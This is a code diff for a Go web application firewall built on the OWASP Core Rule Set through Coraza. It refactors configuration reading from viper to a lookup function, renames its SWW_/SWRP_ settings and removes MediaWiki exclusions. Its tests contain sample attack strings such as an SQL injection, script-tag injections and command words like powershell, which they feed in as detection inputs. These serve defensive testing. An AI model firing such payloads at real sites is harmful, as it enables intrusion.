`SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
)
for _, tc := range []struct {
@@ -2123,7 +2121,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.viper())
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != tc.want {
t.Errorf("error %v, want %s", err, tc.want)
}
@@ -2276,14 +2274,14 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
// files off, and either setting turning off the Core Rule Set, the tag
// exploitsignature in SWW_WAF_TAG_DENY stops the start.
// exploitsignature in SWW_TAG_DENY stops the start.
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
t.Helper()
for _, name := range []string{wafMode, wafAnomalyThreshold} {
_, err := config.FromEnvironment(environment{
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
}.viper())
}.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
name, err, tagDeny)
@@ -2316,7 +2314,7 @@ func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
if err == nil {
t.Fatalf("%s=%q was accepted", tc.name, tc.value)
}
@@ -2341,7 +2339,7 @@ func TestHostOrTransferEncodingStopsTheStart(t *testing.T) {
t.Run(value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{logRequestHeaders: value}.viper())
_, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv)
if err == nil || err.Error() != logRequestHeaders+": "+want {
t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want)
}
@@ -2358,7 +2356,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
t.Run(name+"="+value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{name: value}.viper())
_, err := config.FromEnvironment(environment{name: value}.lookupEnv)
want := name + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
@@ -2414,7 +2412,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
_, err := config.FromEnvironment(environment{
bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"),
}.viper())
}.lookupEnv)
want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off`
if err == nil || err.Error() != want {
@@ -2425,7 +2423,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
logRemoteURL: remoteURL,
instanceName: instance,
logRemoteAppName + "_FILE": writeFile(t, "my app\n"),
}.viper())
}.lookupEnv)
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as blog`
@@ -2440,7 +2438,7 @@ func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) {
_, err := config.FromEnvironment(environment{
metricsToken: token,
metricsToken + "_FILE": writeFile(t, token),
}.viper())
}.lookupEnv)
want := metricsToken + ": is set, and so is " + metricsToken +
"_FILE; set only one of them"
@@ -2455,7 +2453,7 @@ func TestUnreadableSettingFileStopsTheStart(t *testing.T) {
dir := t.TempDir()
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.viper())
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv)
want := metricsToken + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
internal/config/configtest/configtest.go
-16
View File
@@ -1,16 +0,0 @@
// Package configtest gives the tests of the packages that read settings the
// settings they choose.
package configtest
import "github.com/spf13/viper"
// Viper returns a viper holding each of settings, as the viper config.NewViper
// returns holds a process's environment.
func Viper(settings map[string]string) *viper.Viper {
v := viper.New()
for name, value := range settings {
v.Set(name, value)
}
return v
}
internal/config/rproxy.go
+48 -37
View File
@@ -8,39 +8,38 @@ import (
"net/netip"
"net/url"
"strconv"
"strings"
"time"
"github.com/spf13/viper"
)
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off.
type RProxy struct {
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
ListenAddr string
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWW_RPROXY_TRUSTED_PROXIES).
// (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// WAFBackend is discriminator's URL (SWW_RPROXY_WAF_BACKEND).
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL
// Timeout is how long rproxy waits for discriminator's answer to a question,
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when discriminator cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
// allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
MaxRequestSize int64
MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
// (SWRP_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration
MaxResponseTime time.Duration
@@ -59,26 +58,24 @@ var (
"is not a whole number of milliseconds above zero, such as 60000, or off")
)
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
// NewViper returns, bound to the process's environment. A setting that is not
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
// set. A setting may instead be given as a file: the variable named by the
// setting's name with _FILE added names the file, which is read now. A setting
// that is set but invalid is an error that names it.
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
env := &environment{v: v}
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
// os.LookupEnv. A setting that is not set takes its default, and
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form.
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL),
TrustedProxies: env.netblocks("SWW_RPROXY_TRUSTED_PROXIES", privateRanges),
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition("SWW_RPROXY_DEFAULT_DISPOSITION", "allow"),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff("SWW_RPROXY_MAX_REQUEST_TIME_MS", "60000"),
MaxResponseTime: env.millisecondsOrOff(
"SWW_RPROXY_MAX_RESPONSE_TIME_MS", "1800000"),
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
}
if env.err != nil {
@@ -90,15 +87,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
return cfg, nil
}
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL(
v *viper.Viper,
lookupEnv func(string) (string, bool),
) (string, *url.URL, error) {
env := &environment{v: v}
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
listenAddr := env.address("SWRP_LISTEN_ADDR")
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil {
return "", nil, env.err
@@ -107,6 +104,20 @@ func RProxyListenAddrAndUpstreamURL(
return listenAddr, upstreamURL, nil
}
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default.
func (c *RProxy) LogValue() slog.Value {
internal/config/rproxy_test.go
+29 -36
View File
@@ -10,21 +10,20 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
)
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWW_RPROXY_WAF_BACKEND"
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
wafBackend = "SWRP_WAF_BACKEND"
rproxyTimeout = "SWRP_TIMEOUT_MS"
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
rproxyListen = "SWRP_LISTEN_ADDR"
rproxyUpstream = "SWRP_UPSTREAM_URL"
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://discriminator:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
@@ -33,7 +32,11 @@ const (
// rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(configtest.Viper(env))
return config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := env[name]
return value, ok
})
}
func TestRProxyDefaults(t *testing.T) {
@@ -174,41 +177,31 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
}
}
func TestRProxySettingReadFromFile(t *testing.T) {
func TestRProxyReadsNoFile(t *testing.T) {
t.Parallel()
path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
if err != nil {
t.Fatalf("write: %v", err)
}
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil {
t.Fatalf("settings: %v", err)
t.Fatalf("settings: %v, with the file left unread", err)
}
if cfg.WAFBackend.String() != backendURL {
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
}
}
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
t.Parallel()
dir := t.TempDir()
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
})
want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
if cfg.Timeout != 2*time.Second {
t.Errorf("timeout %v, want the default", cfg.Timeout)
}
}
internal/config/viper.go
-16
View File
@@ -1,16 +0,0 @@
package config
import "github.com/spf13/viper"
// NewViper returns the viper that reads the settings: each setting's
// environment variable, bound to its own name. Every setting of discriminator
// and rproxy is read through it, and none is read with os.Getenv or
// os.LookupEnv outside it. An environment variable that is set but empty is
// set, as one that holds a value is, which viper does not take for granted.
func NewViper() *viper.Viper {
v := viper.New()
v.AutomaticEnv()
v.AllowEmptyEnv(true)
return v
}
internal/config/viper_test.go
-34
View File
@@ -1,34 +0,0 @@
package config_test
import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// These tests set real environment variables, so none runs in parallel.
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
t.Setenv(adminToken, "")
_, err := config.FromEnvironment(config.NewViper())
want := adminToken + ": is shorter than 32 characters"
if err == nil || err.Error() != want {
t.Fatalf("error %v, want %s", err, want)
}
}
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
t.Setenv(wafBackend, backendURL)
t.Setenv(rproxyTrusted, "")
cfg, err := config.RProxyFromEnvironment(config.NewViper())
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
internal/coreruleset/coreruleset.go
+15 -26
View File
@@ -1,7 +1,7 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the eleven changes sww
// makes to it and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as
// body while SWW_WAF_BODY_LIMIT is set, with the ten changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
//
@@ -32,17 +32,17 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth, and
// drupalExclusions for the fifth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
@@ -91,9 +91,6 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# So does the tenth.
%s
# And the eleventh.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
@@ -199,13 +196,6 @@ var wordpressExclusions string
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
@@ -214,16 +204,16 @@ var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
// (SWW_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
}
@@ -249,7 +239,7 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them.
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion")
// directivesIn returns the directives in text as Coraza reads them: it
@@ -319,7 +309,7 @@ type CoreRuleSet struct {
bodyLimit int64
}
// New returns the Core Rule Set with the eleven changes, at params'
// New returns the Core Rule Set with the ten changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
@@ -347,8 +337,7 @@ func New(params Params) (*CoreRuleSet, error) {
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions)
giteaExclusions, wordpressExclusions, drupalExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -436,7 +425,7 @@ func (c *CoreRuleSet) Inspect(
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
internal/coreruleset/coreruleset_test.go
+41 -158
View File
@@ -13,53 +13,25 @@ import (
"slices"
"strconv"
"strings"
"sync"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// loaded holds, for each set of settings the tests have asked for, the
// function that loads the Core Rule Set with them once.
//
//nolint:gochecknoglobals // the tests share it
var loaded = struct {
sync.Mutex
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings]
if !found {
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(params)
})
loaded.loaders[settings] = load
}
return load
}
// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := loaderFor(params)()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: level, DisabledRules: disabled,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
@@ -67,53 +39,6 @@ func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
return crs
}
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
// with the rules in disabled switched off. The set is shared with every
// test that asks for the same settings.
func sharedCoreRuleSet(
t *testing.T, level int, disabled ...int,
) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
}
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
// WordPress request at once, many times over, on one Core Rule Set, as
// sww's server does. Each passes only while its own exclusions apply.
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
t.Parallel()
const rounds = 50
crs := atDefaults(t)
targets := []string{
"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
}
var inspecting sync.WaitGroup
for range rounds {
for _, target := range targets {
inspecting.Go(func() {
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"http://git.example"+target, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) {
t.Errorf("GET %s: %+v, %v", target, result, err)
}
})
}
}
inspecting.Wait()
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
@@ -198,11 +123,11 @@ func matched(ids ...int) coreruleset.Result {
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a request one of the
// eleven changes is for, and still finds result in refused, a request like
// ten changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
@@ -433,8 +358,8 @@ func TestParanoiaLevel(t *testing.T) {
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
@@ -444,9 +369,9 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, sharedCoreRuleSet(t, 1), r,
wantResult(t, newCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
}
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
@@ -612,46 +537,10 @@ const (
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
)
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
@@ -727,13 +616,18 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
}
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// wordpressAttackTargets returns attack in a query parameter no exclusion
@@ -794,28 +688,24 @@ func wordpressAttackTargets(attack string) []string {
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
r := request{recorded.Method, recorded.Target, recorded.Headers}
crsSets := []*coreruleset.CoreRuleSet{defaults}
if recorded.Body != "" {
crsSets = append(crsSets, bodies)
}
crsSets := []*coreruleset.CoreRuleSet{defaults}
if recorded.Body != "" {
crsSets = append(crsSets, bodies)
for _, crs := range crsSets {
got, _ := inspectBody(t, crs, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
}
for _, crs := range crsSets {
got, _ := inspectBody(t, crs, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
}
}
})
}
}
for _, attack := range []string{
@@ -1233,7 +1123,7 @@ func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
matched(941180))
wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
wantResult(t, crs, get("/wp-comments-post.php?url=python3"), matched(932260))
}
// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
@@ -1343,7 +1233,7 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
@@ -1357,17 +1247,19 @@ const (
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
crs, err := coreruleset.New(coreruleset.Params{
